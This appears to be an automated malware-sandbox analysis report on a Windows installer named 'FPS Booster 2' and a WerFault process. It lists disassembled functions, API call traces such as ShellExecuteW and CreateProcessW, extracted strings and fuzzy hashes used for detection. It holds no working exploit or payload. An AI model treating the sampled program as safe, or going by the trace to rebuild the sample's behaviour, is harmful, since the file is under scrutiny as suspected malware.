Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426D70,76F923A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0bb6b8ce784cb0e24e6f2575b12dc76b30e1726603d1717acb46156766e421bd
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 0bb6b8ce784cb0e24e6f2575b12dc76b30e1726603d1717acb46156766e421bd
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1)
API String ID: 3509786178-482480894
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: WerFault.exePID: 7604, Parent PID: 7188COMMON

Executed Functions

Function 00007FF887B3109D Relevance: 1.5, Strings: 1, Instructions: 289COMMON

Download Yara Rule

Strings

0DL, xrefs: 00007FF887B31278

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: 0DL
API String ID: 0-3174716889
Opcode ID: f2c46e0f8f6d850ab78730a8821eb6500761faef60a1d9aeaf754e4ca43b0904
Instruction ID: 119d57772ae24fa8c90c917824dfbc16773375fadd4fa2883ce030bbc936eb7e
Opcode Fuzzy Hash: f2c46e0f8f6d850ab78730a8821eb6500761faef60a1d9aeaf754e4ca43b0904
Instruction Fuzzy Hash: 48914A71D4891E9FEB94EA68D8956ECB7F6FF59340F4011BAC00DD7282DE38A985CB40

Function 00007FF887B37E08 Relevance: 13.7, Strings: 10, Instructions: 1246COMMON

Download Yara Rule

Strings

6B, xrefs: 00007FF887B38602
0DL, xrefs: 00007FF887B384AB
6B, xrefs: 00007FF887B387FD
#S}, xrefs: 00007FF887B38278
6B, xrefs: 00007FF887B38703
6B, xrefs: 00007FF887B38BD3
6B, xrefs: 00007FF887B38ADF
6B, xrefs: 00007FF887B388F7
0DL, xrefs: 00007FF887B3843C
6B, xrefs: 00007FF887B389F1

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: 6B$6B$6B$6B$6B$6B$6B$#S}$0DL$0DL
API String ID: 0-975879146
Opcode ID: 3ba443e16cd1a0307ddeec9b2dcdfa3d864eba2f7a4ad5a644e3fee43993c0f1
Instruction ID: 140d3897d0540e3cf4ac3be6237e9878c8ff63a23785a728adc9c1bd68eee8e0
Opcode Fuzzy Hash: 3ba443e16cd1a0307ddeec9b2dcdfa3d864eba2f7a4ad5a644e3fee43993c0f1
Instruction Fuzzy Hash: 5EB2B47094891D8FDBA9EB18D895BA8B7B6FF58340F5041A9D01DE7292CB35AEC1CF01

Function 00007FF887B3A425 Relevance: 6.7, Strings: 5, Instructions: 457COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B3A739
r6B, xrefs: 00007FF887B3A4EA
r6B, xrefs: 00007FF887B3A85B
, xrefs: 00007FF887B3A89C
r6B, xrefs: 00007FF887B3A498

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: $r6B$r6B$r6B$r6B
API String ID: 0-1635170207
Opcode ID: 8e69324ac96e16d7096675c07d3660301a6bed56ed6e3361f61bd6b69e040f57
Instruction ID: 531cf217c3d51cf424373e786445c9893699be9c06f6758e1f8addbda69bc3ff
Opcode Fuzzy Hash: 8e69324ac96e16d7096675c07d3660301a6bed56ed6e3361f61bd6b69e040f57
Instruction Fuzzy Hash: 14F1A530E48A4A8FE759DB58D8946ADB7F2FF58340F24457DD04EC7696CA38B882DB40

Function 00007FF887B30648 Relevance: 6.6, Strings: 5, Instructions: 376COMMON

Download Yara Rule

Strings

{, xrefs: 00007FF887B35141
[, xrefs: 00007FF887B353B1
", xrefs: 00007FF887B35588
-, xrefs: 00007FF887B35683
", xrefs: 00007FF887B35547

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: "$"$-$[${
API String ID: 0-3019564589
Opcode ID: 62be6fe03f63106f15092de3b20833f59999398b36c1d4d0f7b557e567e718bf
Instruction ID: 9bc96395b74b19cc5db9711a3f316c0f9bfdf8bcc8ea2540b7ccb6055a2a214f
Opcode Fuzzy Hash: 62be6fe03f63106f15092de3b20833f59999398b36c1d4d0f7b557e567e718bf
Instruction Fuzzy Hash: 32E1D570D1862A8FEBA8DF68D8947EDB7B2FF58341F5041B9D44DA7281CA386985CF40

Function 00007FF887B3D51D Relevance: 5.4, Strings: 4, Instructions: 437COMMON

Download Yara Rule

Strings

/B, xrefs: 00007FF887B3D6CB
/B, xrefs: 00007FF887B3D622
/B, xrefs: 00007FF887B3D5A2
/B, xrefs: 00007FF887B3D74E

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: /B$/B$/B$/B
API String ID: 0-2403987392
Opcode ID: 334419b4606218fb2629c4313bd6356eedc188156e205eded8a3c241747a931d
Instruction ID: 9180fdbe53a188556fa034f96ba7fdefc4eb332634e41411ca7045e617611865
Opcode Fuzzy Hash: 334419b4606218fb2629c4313bd6356eedc188156e205eded8a3c241747a931d
Instruction Fuzzy Hash: C902F4309189598EEB95EB68C899BECB7B2FF58340F5041EAD01DD3292DE3969C1CF41

Function 00007FF887B36008 Relevance: 4.2, Strings: 3, Instructions: 438COMMON

Download Yara Rule

Strings

N_I, xrefs: 00007FF887B36144
N_I, xrefs: 00007FF887B36044
8eL, xrefs: 00007FF887B36446

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: 8eL$N_I$N_I
API String ID: 0-4106880614
Opcode ID: f226a5625b9edb5a0f42bbcd3acd3d83c2dfddcafaf4b434f4040787a76349a4
Instruction ID: c5fe8b62dac5ab55b248289f9b39d6ebc0228be3166702163d7f02f299b102a9
Opcode Fuzzy Hash: f226a5625b9edb5a0f42bbcd3acd3d83c2dfddcafaf4b434f4040787a76349a4
Instruction Fuzzy Hash: 72D11572E8C9869FE7448B68E8416BDBBF2FF55750F0441BAD008C71CBDE28A985C781

Function 00007FF887B3C0ED Relevance: 4.0, Strings: 3, Instructions: 262COMMON

Download Yara Rule

Strings

6B, xrefs: 00007FF887B3C32E
L, xrefs: 00007FF887B3C150
L, xrefs: 00007FF887B3C281

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: 6B$L$L
API String ID: 0-3737499674
Opcode ID: 31fdd66b103848a97b2de8cde098a3c2511de76eb847b7fc690c8ad6398bfa2d
Instruction ID: 908a91cec2d18cc5d95e545812a95d9c33d705fb7c4e78e2efa7278053630f00
Opcode Fuzzy Hash: 31fdd66b103848a97b2de8cde098a3c2511de76eb847b7fc690c8ad6398bfa2d
Instruction Fuzzy Hash: FFA19170A08A5D8FDF98EF58C894BA9B7F1FF69301F1045A9D00DE7296CA35A985CB40

Function 00007FF887B3C6DE Relevance: 3.8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B3C759
(3K, xrefs: 00007FF887B3C7F8
^N_H, xrefs: 00007FF887B3C763

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: (3K$^N_H$r6B
API String ID: 0-95864145
Opcode ID: 33917350ec99588e6c040d7945e099cf1c4922d466afb55a83e410766eedb50e
Instruction ID: 52d95e83490f72f85c4de52613782813f11a54a619e5a6c93beba6cd517afaae
Opcode Fuzzy Hash: 33917350ec99588e6c040d7945e099cf1c4922d466afb55a83e410766eedb50e
Instruction Fuzzy Hash: EA319730E5895E8FDF84EBA8D499AAD7BF1FF58341F540165D00DE72A6DB38A881CB40

Function 00007FF887B35F5D Relevance: 3.8, Strings: 3, Instructions: 2COMMON

Download Yara Rule

Strings

N_I, xrefs: 00007FF887B36144
N_I, xrefs: 00007FF887B36044
8eL, xrefs: 00007FF887B36446

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: 8eL$N_I$N_I
API String ID: 0-4106880614
Opcode ID: 9b327634b3a5c9b9df33ddb26911ec8584d6efcca3358c6d10e96d9fa50011dd
Instruction ID: 6e7ab5de08090d80917d80c7e7aac02eef25f4f4bb4dea6f21fd88126392ef08
Opcode Fuzzy Hash: 9b327634b3a5c9b9df33ddb26911ec8584d6efcca3358c6d10e96d9fa50011dd
Instruction Fuzzy Hash:

Function 00007FF887B3AD1D Relevance: 2.9, Strings: 2, Instructions: 380COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B3AFBB
r6B, xrefs: 00007FF887B3AD82

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: r6B$r6B
API String ID: 0-2860294223
Opcode ID: 28347800a753de3ced5cdd5f8b63b6f78420a6b636f48e1aeac6645e1fc9af71
Instruction ID: 900ae8e7d30f86c2d6efce07301f850926a0c2296e633364826cc50ffdd54e67
Opcode Fuzzy Hash: 28347800a753de3ced5cdd5f8b63b6f78420a6b636f48e1aeac6645e1fc9af71
Instruction Fuzzy Hash: A2E16D30D4865A8FDB59CB58C495ABCB7F2FF58344F2045BED06ED7286CA386982CB01

Function 00007FF887B3FE3F Relevance: 2.8, Strings: 2, Instructions: 263COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B400E9
r6B, xrefs: 00007FF887B3FE9A

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: r6B$r6B
API String ID: 0-2860294223
Opcode ID: ba372eee3ca6d65194f9c2179dde1b79f8c35884bb9df064ea542cbfc3769746
Instruction ID: 1be871bd9456f0ddd70bf07ef8591783350228c57d875c09c1271d3e3a5a2372
Opcode Fuzzy Hash: ba372eee3ca6d65194f9c2179dde1b79f8c35884bb9df064ea542cbfc3769746
Instruction Fuzzy Hash: 8991E43094CB8A8FE755DB2894946A9B7F2FF55340F5445BEC09AC7693DA39F842CB00

Function 00007FF887B316C5 Relevance: 2.6, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

O_H, xrefs: 00007FF887B3176F
HBL, xrefs: 00007FF887B31765

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: O_H$HBL
API String ID: 0-3339347136
Opcode ID: 7924c530bde0ecc6deecc4a8a85c3340478a2b31c8d728ed670bd185c92b535e
Instruction ID: 508c7af14150ddd3c1b596bb6c2e7c407eadbe4123089a28ae0d32bc470025dd
Opcode Fuzzy Hash: 7924c530bde0ecc6deecc4a8a85c3340478a2b31c8d728ed670bd185c92b535e
Instruction Fuzzy Hash: 6141BB71C18A8E9FEB45EBA8D8156FDBBF5FF05341F0801BAD009E7282DE286944CB41

Function 00007FF887B3C6A6 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B3C759
^N_H, xrefs: 00007FF887B3C763

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: ^N_H$r6B
API String ID: 0-2163777836
Opcode ID: 86e78efd322249dee60d89f879cce2fbf2ba80d17d6d376860c9843010d5425d
Instruction ID: 60839c7374113f0f772e0768e9aefe90deb277475e68739c0526d06b15d82f07
Opcode Fuzzy Hash: 86e78efd322249dee60d89f879cce2fbf2ba80d17d6d376860c9843010d5425d
Instruction Fuzzy Hash: 8E319770A5891D9FDF84EB98D499EAE77F1FF58341F000069D00DD7292DA38A881CB40

